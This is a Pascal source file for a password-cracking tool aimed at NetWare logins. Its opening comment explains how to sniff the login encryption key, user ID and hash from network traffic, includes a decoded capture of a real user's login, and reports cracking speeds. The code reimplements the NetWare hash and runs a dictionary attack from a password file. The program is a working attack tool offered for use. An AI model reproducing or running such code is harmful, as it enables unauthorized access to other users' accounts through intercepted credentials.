{$R+,V-}
{This code was originaly written by Willem Jan Hengeveld
Later the code was modified by anonymous.
Code was moderatley optimized for speed by Greg Miller.
Code was modified for an off-line password attack by Greg Miller.
}
{
----------------------------------------------------------------------------
This program takes three parameters <encryption key> <hash> and
<user id>. The encryption key is the value returned by the server when the
workstation calls GetEncryptionKey(). <hash> is the value the workstation
sends to the server to authenticate the login. And <user id> is the ID
of the user loggin in. All of this information can be easily sniffed from
the network while a user is loggin in.
The following is a login session of a workstation named EBEURY to a
server at 00-00-F4-B0-36-88. The relevant packets are #22, #24, #25. The
fields needed are the KEY field in #22 (the encryption key), the Object ID
field in #24 (the user ID) and the KEY field in #25 (the hash).
Lanalyzer for Windows was used to decode these packets. Any packet
sniffer would do, however, you would have to decode the packets by hand.
Packet Number : 21 3:49:31 PM
Station: EBEURY ----> 00-00-F4-B0-36-88
ncp: ===================== NetWare Core Protocol =====================
NCP Request: Get Log Key
Request Type: 0x2222 (Request)
Sequence Number: 17
Connection Number Low: 3
Task Number: 2
Connection Number High: 0
Function Code: 23
Subfunction Length: 1 bytes
Subfunction Code: 23
Packet Number : 22 3:49:31 PM
Station: 00-00-F4-B0-36-88 ----> EBEURY
ncp: ===================== NetWare Core Protocol =====================
NCP Reply: Get Log Key
Reply Type: 0x3333 (Reply)
Sequence Number: 17
Connection Number Low: 3
Task Number: 1
Connection Number High: 0
Completion Code: 0 (Success)
Connection Status: 0x00
Key: 0x93 0xE3 0x79 0xC6 0xF2 0x8C 0x37 0x65
Packet Number : 23 3:49:31 PM
Station: EBEURY ----> 00-00-F4-B0-36-88
ncp: ===================== NetWare Core Protocol =====================
NCP Request: Get Bindery Object ID
Request Type: 0x2222 (Request)
Sequence Number: 18
Connection Number Low: 3
Task Number: 2
Connection Number High: 0
Function Code: 23
Subfunction Length: 11 bytes
Subfunction Code: 53
Object Type: 1 (User)
Object Name: Length: 7
Value : GMILLER
Packet Number : 24 3:49:31 PM
Station: 00-00-F4-B0-36-88 ----> EBEURY
ncp: ===================== NetWare Core Protocol =====================
NCP Reply: Get Bindery Object ID
Reply Type: 0x3333 (Reply)
Sequence Number: 18
Connection Number Low: 3
Task Number: 1
Connection Number High: 0
Completion Code: 0 (Success)
Connection Status: 0x00
Object ID: 0x0E000005
Object Type: 1 (User)
Object Name: GMILLER
Packet Number : 25 3:49:31 PM
Station: EBEURY ----> 00-00-F4-B0-36-88
ncp: ===================== NetWare Core Protocol =====================
NCP Request: Keyed Login
Request Type: 0x2222 (Request)
Sequence Number: 19
Connection Number Low: 3
Task Number: 2
Connection Number High: 0
Function Code: 23
Subfunction Length: 19 bytes
Subfunction Code: 24
Key: 0xA1 0x1B 0x89 0x9F 0xDA 0xA7 0x8A 0x79
Object Type: 1 (User)
Object Name: Length: 7
Value : GMILLER
Packet Number : 26 3:49:31 PM
Station: 00-00-F4-B0-36-88 ----> EBEURY
ncp: ===================== NetWare Core Protocol =====================
NCP Reply: Keyed Login
Reply Type: 0x3333 (Reply)
Sequence Number: 19
Connection Number Low: 3
Task Number: 1
Connection Number High: 0
Completion Code: 0 (Success)
Connection Status: 0x00
----------------------------------------------------------------------------
}
{The code before optimization achived 1524 passwords/sec on a Pentium 100Mhz.
After optimization, the code achived 2600 passwords/sec. After adding in
the ability to read the passwords from a file, the code achieves 2300
passwords/sec.}
{Before optimization:
Assume processing time of 1524 passwords/sec on a Pentium 100Mhz
Assume processing time of 636 passwords/sec on a 486 80Mhz
}
PROGRAM LOGON;
USES
Dos,
Crt;
TYPE
Buf32 = ARRAY [0..31] OF BYTE;
Buf16 = ARRAY [0..15] OF BYTE;
Buf8 = ARRAY [0..7] OF BYTE;
Buf4 = ARRAY [0..3] OF BYTE;
CONST
EncryptTable : ARRAY [BYTE] OF BYTE =
($7,$8,$0,$8,$6,$4,$E,$4,$5,$C,$1,$7,$B,$F,$A,$8,
$F,$8,$C,$C,$9,$4,$1,$E,$4,$6,$2,$4,$0,$A,$B,$9,
$2,$F,$B,$1,$D,$2,$1,$9,$5,$E,$7,$0,$0,$2,$6,$6,
$0,$7,$3,$8,$2,$9,$3,$F,$7,$F,$C,$F,$6,$4,$A,$0,
$2,$3,$A,$B,$D,$8,$3,$A,$1,$7,$C,$F,$1,$8,$9,$D,
$9,$1,$9,$4,$E,$4,$C,$5,$5,$C,$8,$B,$2,$3,$9,$E,
$7,$7,$6,$9,$E,$F,$C,$8,$D,$1,$A,$6,$E,$D,$0,$7,
$7,$A,$0,$1,$F,$5,$4,$B,$7,$B,$E,$C,$9,$5,$D,$1,
$B,$D,$1,$3,$5,$D,$E,$6,$3,$0,$B,$B,$F,$3,$6,$4,
$9,$D,$A,$3,$1,$4,$9,$4,$8,$3,$B,$E,$5,$0,$5,$2,
$C,$B,$D,$5,$D,$5,$D,$2,$D,$9,$A,$C,$A,$0,$B,$3,
$5,$3,$6,$9,$5,$1,$E,$E,$0,$E,$8,$2,$D,$2,$2,$0,
$4,$F,$8,$5,$9,$6,$8,$6,$B,$A,$B,$F,$0,$7,$2,$8,
$C,$7,$3,$A,$1,$4,$2,$5,$F,$7,$A,$C,$E,$5,$9,$3,
$E,$7,$1,$2,$E,$1,$F,$4,$A,$6,$C,$6,$F,$4,$3,$0,
$C,$0,$3,$6,$F,$8,$7,$B,$2,$D,$C,$6,$A,$A,$8,$D);
ETable : ARRAY [BYTE] OF BYTE =
($70,$80,$00,$80,$60,$40,$E0,$40,$50,$C0,$10,$70,$B0,$F0,$A0,$80,
$F0,$80,$C0,$C0,$90,$40,$10,$E0,$40,$60,$20,$40,$00,$A0,$B0,$90,
$20,$F0,$B0,$10,$D0,$20,$10,$90,$50,$E0,$70,$00,$00,$20,$60,$60,
$00,$70,$30,$80,$20,$90,$30,$F0,$70,$F0,$C0,$F0,$60,$40,$A0,$00,
$20,$30,$A0,$B0,$D0,$80,$30,$A0,$10,$70,$C0,$F0,$10,$80,$90,$D0,
$90,$10,$90,$40,$E0,$40,$C0,$50,$50,$C0,$80,$B0,$20,$30,$90,$E0,
$70,$70,$60,$90,$E0,$F0,$C0,$80,$D0,$10,$A0,$60,$E0,$D0,$00,$70,
$70,$A0,$00,$10,$F0,$50,$40,$B0,$70,$B0,$E0,$C0,$90,$50,$D0,$10,
$B0,$D0,$10,$30,$50,$D0,$E0,$60,$30,$00,$B0,$B0,$F0,$30,$60,$40,
$90,$D0,$A0,$30,$10,$40,$90,$40,$80,$30,$B0,$E0,$50,$00,$50,$20,
$C0,$B0,$D0,$50,$D0,$50,$D0,$20,$D0,$90,$A0,$C0,$A0,$00,$B0,$30,
$50,$30,$60,$90,$50,$10,$E0,$E0,$00,$E0,$80,$20,$D0,$20,$20,$00,
$40,$F0,$80,$50,$90,$60,$80,$60,$B0,$A0,$B0,$F0,$00,$70,$20,$80,
$C0,$70,$30,$A0,$10,$40,$20,$50,$F0,$70,$A0,$C0,$E0,$50,$90,$30,
$E0,$70,$10,$20,$E0,$10,$F0,$40,$A0,$60,$C0,$60,$F0,$40,$30,$00,
$C0,$00,$30,$60,$F0,$80,$70,$B0,$20,$D0,$C0,$60,$A0,$A0,$80,$D0);
EncryptKeys : Buf32 =
($48,$93,$46,$67,$98,$3D,$E6,$8D,$B7,$10,$7A,$26,$5A,$B9,$B1,$35,
$6B,$0F,$D5,$70,$AE,$FB,$AD,$11,$F4,$47,$DC,$A7,$EC,$CF,$50,$C0);
TYPE
NetStr = STRING[47];
GenStr = STRING[128];
FourBytes = ARRAY [1..4] of BYTE;
MemBlock = ARRAY [1..128] OF CHAR;
VAR
rc : BYTE;
Regs : Registers;
key,hash: buf8;
id:FourBytes;
x,y:integer;
skey,shash,sid:string;
{ -------------------------------------------------------------- }
PROCEDURE Shuffle1(VAR temp : Buf32; VAR target);
VAR
t : Buf16 ABSOLUTE target;
b4 : WORD;
b3 : BYTE;
s, d, b2, i : WORD;
BEGIN
b4 := 0;
FOR s := 0 TO 31 DO BEGIN
b3 := Lo(Lo(temp[s] + b4)
XOR Lo(temp[(s + b4) AND 31]
- EncryptKeys[s]));
b4 := b4 + b3;
temp[s] := b3;
END;
FOR s := 0 TO 31 DO BEGIN
b3 := Lo(Lo(temp[s] + b4)
XOR Lo(temp[(s + b4) AND 31]
- EncryptKeys[s]));
b4 := b4 + b3;
temp[s] := b3;
END;
t[0] := EncryptTable[temp[0]] OR (ETable[temp[1]]);
t[1] := EncryptTable[temp[2]] OR (ETable[temp[3]]);
t[2] := EncryptTable[temp[4]] OR (ETable[temp[5]]);
t[3] := EncryptTable[temp[6]] OR (ETable[temp[7]]);
t[4] := EncryptTable[temp[8]] OR (ETable[temp[9]]);
t[5] := EncryptTable[temp[10]] OR (ETable[temp[11]]);
t[6] := EncryptTable[temp[12]] OR (ETable[temp[13]]);
t[7] := EncryptTable[temp[14]] OR (ETable[temp[15]]);
t[8] := EncryptTable[temp[16]] OR (ETable[temp[17]]);
t[9] := EncryptTable[temp[18]] OR (ETable[temp[19]]);
t[10] := EncryptTable[temp[20]] OR (ETable[temp[21]]);
t[11] := EncryptTable[temp[22]] OR (ETable[temp[23]]);
t[12] := EncryptTable[temp[24]] OR (ETable[temp[25]]);
t[13] := EncryptTable[temp[26]] OR (ETable[temp[27]]);
t[14] := EncryptTable[temp[28]] OR (ETable[temp[29]]);
t[15] := EncryptTable[temp[30]] OR (ETable[temp[31]]);
END;
PROCEDURE Shuffle(VAR lon, buf; buflen : WORD; VAR target);
VAR
l : Buf4 ABSOLUTE lon;
b : ARRAY [0..127] OF BYTE ABSOLUTE buf;
b2 : WORD;
temp : Buf32;
s, d : WORD;
BEGIN
IF buflen > 0 THEN
WHILE (buflen > 0) AND (b[buflen-1] = 0) DO
buflen := buflen - 1;
FillChar(temp, SizeOf(temp), #0);
d := 0;
WHILE buflen >= 32 DO BEGIN
FOR s := 0 TO 31 DO BEGIN
temp[s] := temp[s] XOR b[d];
d := d + 1;
END;
buflen := buflen - 32;
END;
b2 := d;
IF buflen > 0 THEN BEGIN
FOR s := 0 TO 31 DO BEGIN
IF d + buflen = b2 THEN BEGIN
b2 := d;
temp[s] := EncryptKeys[s];
END
ELSE BEGIN
temp[s] := b[b2];
b2 := b2 + 1;
END;
END;
END;
temp[0] := temp[0] XOR l[0];
temp[1] := temp[1] XOR l[1];
temp[2] := temp[2] XOR l[2];
temp[3] := temp[3] XOR l[3];
temp[4] := temp[4] XOR l[0];
temp[5] := temp[5] XOR l[1];
temp[6] := temp[6] XOR l[2];
temp[7] := temp[7] XOR l[3];
temp[8] := temp[8] XOR l[0];
temp[9] := temp[9] XOR l[1];
temp[10] := temp[10] XOR l[2];
temp[11] := temp[11] XOR l[3];
temp[12] := temp[12] XOR l[0];
temp[13] := temp[13] XOR l[1];
temp[14] := temp[14] XOR l[2];
temp[15] := temp[15] XOR l[3];
temp[16] := temp[16] XOR l[0];
temp[17] := temp[17] XOR l[1];
temp[18] := temp[18] XOR l[2];
temp[19] := temp[19] XOR l[3];
temp[20] := temp[20] XOR l[0];
temp[21] := temp[21] XOR l[1];
temp[22] := temp[22] XOR l[2];
temp[23] := temp[23] XOR l[3];
temp[24] := temp[24] XOR l[0];
temp[25] := temp[25] XOR l[1];
temp[26] := temp[26] XOR l[2];
temp[27] := temp[27] XOR l[3];
temp[28] := temp[28] XOR l[0];
temp[29] := temp[29] XOR l[1];
temp[30] := temp[30] XOR l[2];
temp[31] := temp[31] XOR l[3];
Shuffle1(temp, target);
END;
PROCEDURE Encrypt(VAR fra, buf, til);
VAR
f : Buf8 ABSOLUTE fra;
t : Buf8 ABSOLUTE til;
k : Buf32;
s : WORD;
BEGIN
Shuffle(f[0], buf, 16, k[0]);
Shuffle(f[4], buf, 16, k[16]);
k[0] := k[0] XOR k[31];
k[1] := k[1] XOR k[30];
k[2] := k[2] XOR k[29];
k[3] := k[3] XOR k[28];
k[4] := k[4] XOR k[27];
k[5] := k[5] XOR k[26];
k[6] := k[6] XOR k[25];
k[7] := k[7] XOR k[24];
k[8] := k[8] XOR k[23];
k[9] := k[9] XOR k[22];
k[10] := k[10] XOR k[21];
k[11] := k[11] XOR k[20];
k[12] := k[12] XOR k[19];
k[13] := k[13] XOR k[18];
k[14] := k[14] XOR k[17];
k[15] := k[15] XOR k[16];
t[0] := k[0] XOR k[15];
t[1] := k[1] XOR k[14];
t[2] := k[2] XOR k[13];
t[3] := k[3] XOR k[12];
t[4] := k[4] XOR k[11];
t[5] := k[5] XOR k[10];
t[6] := k[6] XOR k[9];
t[7] := k[7] XOR k[8];
END;
procedure LoginToFileServer(key_:buf8; hash:buf8; id:FourBytes);
VAR
buf : Buf32;
res : BYTE;
x : word;
key : buf8;
h1,m1,s1,ss1:word;
h2,m2,s2,ss2:word;
temp,temp1,temp2:real;
t:word;
passw:GenStr;
notdone:boolean;
guess:integer;
tfile:text;
BEGIN
assign(tfile,'pass.dat');
reset(tfile);
guess:=0;
notdone:=true;
GetTime(h1,m1,s1,ss1);
while notdone do
begin
readln(tfile,passw);
if eof(tfile) then
begin
notdone := false;
writeln('No match found. ',guess,' passwords tried');
end;
inc(guess);
Shuffle(id, passw[1], Length(passw), buf);
Encrypt(key_, buf, key);
if (key[0]=hash[0]) and (key[1]=hash[1]) and (key[2]=hash[2]) and
(key[3]=hash[3]) and (key[4]=hash[4]) and (key[5]=hash[5]) and
(key[6]=hash[6]) and (key[7]=hash[7]) then
begin
writeln('Match found on:',passw,'. ',guess,' passwords tried');
end;
end;
GetTime(h2,m2,s2,ss2);
writeln;
temp1:=ss1/100 + s1 + m1*60 + h1 * 360;
writeln('Begin:',temp1:10:2);
temp2:=ss2/100 + s2 + m2*60 + h2 * 360;
writeln('End:',temp2:10:2);
writeln('Difference:',temp2-temp1:10:4);
END;
function htod (c:char):integer;
var y:integer;
begin
c:=upcase(c);
y:=ord(upcase(c));
if y>57 then
y:=y-55
else
y:=y-48;
htod:=y;
end;
BEGIN
if paramcount <>3 then
begin
writeln('Useage: novpass <encryption key> <hash> <user id>');
writeln;
writeln('e.g. novpass 5f18be7dcf479e8e 70605146df0d3630 0e000005');
end;
writeln;
skey:=paramstr(1); shash:=paramstr(2); sid:=paramstr(3);
for x:=1 to 16 do
begin
y:=x div 2;
key[y]:=htod(skey[x])*16;
x:=x+1;
key[y]:=key[y]+htod(skey[x]);
end;
for x:=1 to 16 do
begin
y:=x div 2;
hash[y]:=htod(shash[x])*16;
x:=x+1;
hash[y]:=hash[y]+htod(shash[x]);
end;
for x:=1 to 8 do
begin
y:=(x div 2) +1;
id[y]:=htod(sid[x])*16;
x:=x+1;
id[y]:=id[y]+htod(sid[x]);
end;
LoginToFileServer(key,hash,id);
END.